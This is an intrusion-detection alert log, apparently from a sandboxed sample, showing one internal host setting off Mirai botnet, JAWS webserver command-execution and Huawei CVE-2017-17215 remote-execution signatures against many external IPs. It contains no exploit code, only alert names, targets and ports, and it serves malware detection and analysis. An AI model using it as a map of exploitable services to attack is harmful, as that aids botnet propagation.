2025-01-05T14:35:20.670789+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59960	148.177.12.116	80	TCP
2025-01-05T14:35:20.670789+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59960	148.177.12.116	80	TCP
2025-01-05T14:35:20.683441+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55290	9.9.137.157	80	TCP
2025-01-05T14:35:20.683441+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55290	9.9.137.157	80	TCP
2025-01-05T14:35:20.683527+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47202	143.71.140.71	80	TCP
2025-01-05T14:35:20.683527+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47202	143.71.140.71	80	TCP
2025-01-05T14:35:20.684352+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44430	78.155.255.230	80	TCP
2025-01-05T14:35:20.684352+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44430	78.155.255.230	80	TCP
2025-01-05T14:35:20.685048+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48472	213.11.144.146	80	TCP
2025-01-05T14:35:20.685048+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48472	213.11.144.146	80	TCP
2025-01-05T14:35:20.685128+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49946	204.248.109.44	80	TCP
2025-01-05T14:35:20.685128+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49946	204.248.109.44	80	TCP
2025-01-05T14:35:20.685204+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49742	109.146.34.96	80	TCP
2025-01-05T14:35:20.685204+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49742	109.146.34.96	80	TCP
2025-01-05T14:35:20.685377+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34994	135.40.7.85	80	TCP
2025-01-05T14:35:20.685377+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34994	135.40.7.85	80	TCP
2025-01-05T14:35:20.687229+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54048	129.167.223.16	80	TCP
2025-01-05T14:35:20.687229+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54048	129.167.223.16	80	TCP
2025-01-05T14:35:20.688921+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39910	4.31.183.181	80	TCP
2025-01-05T14:35:20.688921+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39910	4.31.183.181	80	TCP
2025-01-05T14:35:21.402209+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	42706	197.37.180.192	37215	TCP
2025-01-05T14:35:21.402298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56658	156.156.184.103	37215	TCP
2025-01-05T14:35:21.402394+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33134	197.114.161.87	37215	TCP
2025-01-05T14:35:21.418344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	59282	156.245.190.4	37215	TCP
2025-01-05T14:35:21.419745+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56704	156.135.244.57	37215	TCP
2025-01-05T14:35:21.421511+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	58980	197.78.8.202	37215	TCP
2025-01-05T14:35:21.434132+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36638	156.241.244.77	37215	TCP
2025-01-05T14:35:21.435388+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40456	156.62.255.186	37215	TCP
2025-01-05T14:35:21.436478+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53800	197.159.178.158	37215	TCP
2025-01-05T14:35:21.437225+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38934	41.245.158.70	37215	TCP
2025-01-05T14:35:21.439004+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33778	156.245.141.198	37215	TCP
2025-01-05T14:35:21.464641+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	33738	41.136.40.189	37215	TCP
2025-01-05T14:35:21.482415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57584	156.117.234.170	37215	TCP
2025-01-05T14:35:21.484123+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	53648	156.179.44.151	37215	TCP
2025-01-05T14:35:21.485851+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39518	133.206.206.122	80	TCP
2025-01-05T14:35:21.485851+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39518	133.206.206.122	80	TCP
2025-01-05T14:35:21.709273+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	44878	81.220.130.17	80	TCP
2025-01-05T14:35:21.709273+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	44878	81.220.130.17	80	TCP
2025-01-05T14:35:21.709278+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41826	196.113.39.196	80	TCP
2025-01-05T14:35:21.709278+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41826	196.113.39.196	80	TCP
2025-01-05T14:35:21.709433+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	39320	197.83.134.208	37215	TCP
2025-01-05T14:35:21.709441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	57922	197.175.162.9	37215	TCP
2025-01-05T14:35:21.709441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	50226	197.192.252.246	37215	TCP
2025-01-05T14:35:21.709443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	49886	156.86.142.141	37215	TCP
2025-01-05T14:35:21.709443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	43692	156.50.56.6	37215	TCP
2025-01-05T14:35:21.709443+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38320	156.161.221.30	37215	TCP
2025-01-05T14:35:21.709447+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	47404	197.28.77.200	37215	TCP
2025-01-05T14:35:21.709456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	35802	41.130.183.227	37215	TCP
2025-01-05T14:35:21.709471+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	56986	41.125.204.121	37215	TCP
2025-01-05T14:35:22.482239+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47534	4.72.184.235	80	TCP
2025-01-05T14:35:22.482239+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47534	4.72.184.235	80	TCP
2025-01-05T14:35:22.484190+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40186	162.220.2.172	80	TCP
2025-01-05T14:35:22.484190+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40186	162.220.2.172	80	TCP
2025-01-05T14:35:22.484208+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	36550	156.75.208.51	37215	TCP
2025-01-05T14:35:22.515647+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58312	157.6.177.246	80	TCP
2025-01-05T14:35:22.515647+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58312	157.6.177.246	80	TCP
2025-01-05T14:35:22.531026+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49808	192.42.222.62	80	TCP
2025-01-05T14:35:22.531026+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49808	192.42.222.62	80	TCP
2025-01-05T14:35:22.542922+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51016	79.116.248.55	80	TCP
2025-01-05T14:35:22.542922+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51016	79.116.248.55	80	TCP
2025-01-05T14:35:22.542938+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51850	97.20.150.117	80	TCP
2025-01-05T14:35:22.542938+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51850	97.20.150.117	80	TCP
2025-01-05T14:35:22.558580+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45794	166.80.178.29	80	TCP
2025-01-05T14:35:22.558580+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45794	166.80.178.29	80	TCP
2025-01-05T14:35:22.562402+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55262	66.111.47.208	80	TCP
2025-01-05T14:35:22.562402+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55262	66.111.47.208	80	TCP
2025-01-05T14:35:22.577828+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	56374	17.46.78.253	80	TCP
2025-01-05T14:35:22.577828+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	56374	17.46.78.253	80	TCP
2025-01-05T14:35:22.605459+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33090	189.0.183.80	80	TCP
2025-01-05T14:35:22.605459+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33090	189.0.183.80	80	TCP
2025-01-05T14:35:22.605939+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57308	138.183.55.28	80	TCP
2025-01-05T14:35:22.605939+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57308	138.183.55.28	80	TCP
2025-01-05T14:35:22.607160+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49134	205.239.229.243	80	TCP
2025-01-05T14:35:22.607160+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49134	205.239.229.243	80	TCP
2025-01-05T14:35:22.609127+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47836	197.235.197.121	80	TCP
2025-01-05T14:35:22.609127+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47836	197.235.197.121	80	TCP
2025-01-05T14:35:22.642107+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49272	104.152.54.54	80	TCP
2025-01-05T14:35:22.642107+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49272	104.152.54.54	80	TCP
2025-01-05T14:35:22.652332+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43998	217.153.188.215	80	TCP
2025-01-05T14:35:22.652332+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43998	217.153.188.215	80	TCP
2025-01-05T14:35:22.652804+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	40642	144.119.91.38	80	TCP
2025-01-05T14:35:22.652804+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	40642	144.119.91.38	80	TCP
2025-01-05T14:35:22.653883+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37080	69.161.126.58	80	TCP
2025-01-05T14:35:22.653883+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37080	69.161.126.58	80	TCP
2025-01-05T14:35:22.667805+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57020	128.112.38.90	80	TCP
2025-01-05T14:35:22.667805+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57020	128.112.38.90	80	TCP
2025-01-05T14:35:22.671663+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57678	95.19.138.98	80	TCP
2025-01-05T14:35:22.671663+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	57678	95.19.138.98	80	TCP
2025-01-05T14:35:22.683423+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	55948	72.63.230.236	80	TCP
2025-01-05T14:35:22.683423+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	55948	72.63.230.236	80	TCP
2025-01-05T14:35:22.699032+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	39424	90.108.111.109	80	TCP
2025-01-05T14:35:22.699032+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	39424	90.108.111.109	80	TCP
2025-01-05T14:35:22.700866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	43034	129.211.146.204	80	TCP
2025-01-05T14:35:22.700866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	43034	129.211.146.204	80	TCP
2025-01-05T14:35:22.704584+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51974	88.216.109.178	80	TCP
2025-01-05T14:35:22.704584+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51974	88.216.109.178	80	TCP
2025-01-05T14:35:22.730313+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36068	5.75.149.40	80	TCP
2025-01-05T14:35:22.730313+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36068	5.75.149.40	80	TCP
2025-01-05T14:35:22.730314+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54890	116.112.231.234	80	TCP
2025-01-05T14:35:22.730314+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54890	116.112.231.234	80	TCP
2025-01-05T14:35:22.731927+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37900	202.130.99.38	80	TCP
2025-01-05T14:35:22.731927+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37900	202.130.99.38	80	TCP
2025-01-05T14:35:22.734070+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53976	38.193.115.79	80	TCP
2025-01-05T14:35:22.734070+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53976	38.193.115.79	80	TCP
2025-01-05T14:35:22.777389+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50748	25.54.225.86	80	TCP
2025-01-05T14:35:22.777389+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50748	25.54.225.86	80	TCP
2025-01-05T14:35:22.778372+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	34642	35.112.130.0	80	TCP
2025-01-05T14:35:22.778372+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	34642	35.112.130.0	80	TCP
2025-01-05T14:35:22.799475+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58504	133.118.225.164	80	TCP
2025-01-05T14:35:22.799475+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58504	133.118.225.164	80	TCP
2025-01-05T14:35:22.826003+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38210	189.229.250.31	80	TCP
2025-01-05T14:35:22.826003+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38210	189.229.250.31	80	TCP
2025-01-05T14:35:22.829592+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52024	185.182.217.67	80	TCP
2025-01-05T14:35:22.829592+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52024	185.182.217.67	80	TCP
2025-01-05T14:35:22.839752+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36374	97.244.33.25	80	TCP
2025-01-05T14:35:22.839752+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36374	97.244.33.25	80	TCP
2025-01-05T14:35:22.839754+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53062	1.193.110.180	80	TCP
2025-01-05T14:35:22.839754+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53062	1.193.110.180	80	TCP
2025-01-05T14:35:22.855227+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36696	209.150.79.136	80	TCP
2025-01-05T14:35:22.855227+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36696	209.150.79.136	80	TCP
2025-01-05T14:35:22.872708+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59796	159.47.171.162	80	TCP
2025-01-05T14:35:22.872708+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59796	159.47.171.162	80	TCP
2025-01-05T14:35:22.890418+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37288	104.26.182.212	80	TCP
2025-01-05T14:35:22.890418+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37288	104.26.182.212	80	TCP
2025-01-05T14:35:22.906003+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	45704	45.165.167.126	80	TCP
2025-01-05T14:35:22.906003+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	45704	45.165.167.126	80	TCP
2025-01-05T14:35:22.920873+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35788	19.6.226.162	80	TCP
2025-01-05T14:35:22.920873+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35788	19.6.226.162	80	TCP
2025-01-05T14:35:22.923394+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60124	166.187.185.64	80	TCP
2025-01-05T14:35:22.923394+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60124	166.187.185.64	80	TCP
2025-01-05T14:35:22.949748+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	58822	213.119.90.178	80	TCP
2025-01-05T14:35:22.949748+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	58822	213.119.90.178	80	TCP
2025-01-05T14:35:23.511665+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59960	44.158.121.102	80	TCP
2025-01-05T14:35:23.511665+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59960	44.158.121.102	80	TCP
2025-01-05T14:35:23.512306+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	50594	182.108.239.192	80	TCP
2025-01-05T14:35:23.512306+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	50594	182.108.239.192	80	TCP
2025-01-05T14:35:23.515509+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52208	106.98.6.182	80	TCP
2025-01-05T14:35:23.515509+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52208	106.98.6.182	80	TCP
2025-01-05T14:35:23.559267+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51862	60.252.105.123	80	TCP
2025-01-05T14:35:23.559267+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51862	60.252.105.123	80	TCP
2025-01-05T14:35:23.560482+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	59264	143.61.230.117	80	TCP
2025-01-05T14:35:23.560482+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	59264	143.61.230.117	80	TCP
2025-01-05T14:35:23.563201+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41420	65.50.253.98	80	TCP
2025-01-05T14:35:23.563201+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41420	65.50.253.98	80	TCP
2025-01-05T14:35:23.573930+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37130	118.123.115.190	80	TCP
2025-01-05T14:35:23.573930+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37130	118.123.115.190	80	TCP
2025-01-05T14:35:23.591692+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	35248	71.115.238.200	80	TCP
2025-01-05T14:35:23.591692+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	35248	71.115.238.200	80	TCP
2025-01-05T14:35:23.594468+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37340	105.164.179.94	80	TCP
2025-01-05T14:35:23.594468+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37340	105.164.179.94	80	TCP
2025-01-05T14:35:23.595348+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	36968	206.51.38.129	80	TCP
2025-01-05T14:35:23.595348+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	36968	206.51.38.129	80	TCP
2025-01-05T14:35:23.642264+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	47650	150.132.66.234	80	TCP
2025-01-05T14:35:23.642264+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	47650	150.132.66.234	80	TCP
2025-01-05T14:35:23.656101+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	41556	71.19.188.39	80	TCP
2025-01-05T14:35:23.656101+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	41556	71.19.188.39	80	TCP
2025-01-05T14:35:23.687200+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37120	40.16.176.8	80	TCP
2025-01-05T14:35:23.687200+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37120	40.16.176.8	80	TCP
2025-01-05T14:35:23.794867+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	52064	146.238.125.7	80	TCP
2025-01-05T14:35:23.794867+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	52064	146.238.125.7	80	TCP
2025-01-05T14:35:23.808800+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33862	61.198.150.68	80	TCP
2025-01-05T14:35:23.808800+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33862	61.198.150.68	80	TCP
2025-01-05T14:35:23.808865+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37720	133.125.76.20	80	TCP
2025-01-05T14:35:23.808865+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	37720	133.125.76.20	80	TCP
2025-01-05T14:35:23.809329+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38434	94.59.87.106	80	TCP
2025-01-05T14:35:23.809329+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38434	94.59.87.106	80	TCP
2025-01-05T14:35:23.810438+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	51944	152.172.151.57	80	TCP
2025-01-05T14:35:23.810438+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	51944	152.172.151.57	80	TCP
2025-01-05T14:35:23.810654+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	53512	52.41.130.112	80	TCP
2025-01-05T14:35:23.810654+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	53512	52.41.130.112	80	TCP
2025-01-05T14:35:23.812436+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	38362	123.0.203.63	80	TCP
2025-01-05T14:35:23.812436+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	38362	123.0.203.63	80	TCP
2025-01-05T14:35:23.812794+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	54986	153.219.128.111	80	TCP
2025-01-05T14:35:23.812794+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	54986	153.219.128.111	80	TCP
2025-01-05T14:35:23.815041+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	48412	103.166.90.206	80	TCP
2025-01-05T14:35:23.815041+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	48412	103.166.90.206	80	TCP
2025-01-05T14:35:23.828777+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33046	51.141.52.144	80	TCP
2025-01-05T14:35:23.828777+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33046	51.141.52.144	80	TCP
2025-01-05T14:35:23.843591+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33364	45.30.153.204	80	TCP
2025-01-05T14:35:23.843591+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33364	45.30.153.204	80	TCP
2025-01-05T14:35:23.860883+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	33498	208.68.92.42	80	TCP
2025-01-05T14:35:23.860883+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	33498	208.68.92.42	80	TCP
2025-01-05T14:35:23.921577+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	49156	177.187.139.79	80	TCP
2025-01-05T14:35:23.921577+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	49156	177.187.139.79	80	TCP
2025-01-05T14:35:24.276118+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	60150	220.134.22.54	80	TCP
2025-01-05T14:35:24.276118+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.13	60150	220.134.22.54	80	TCP
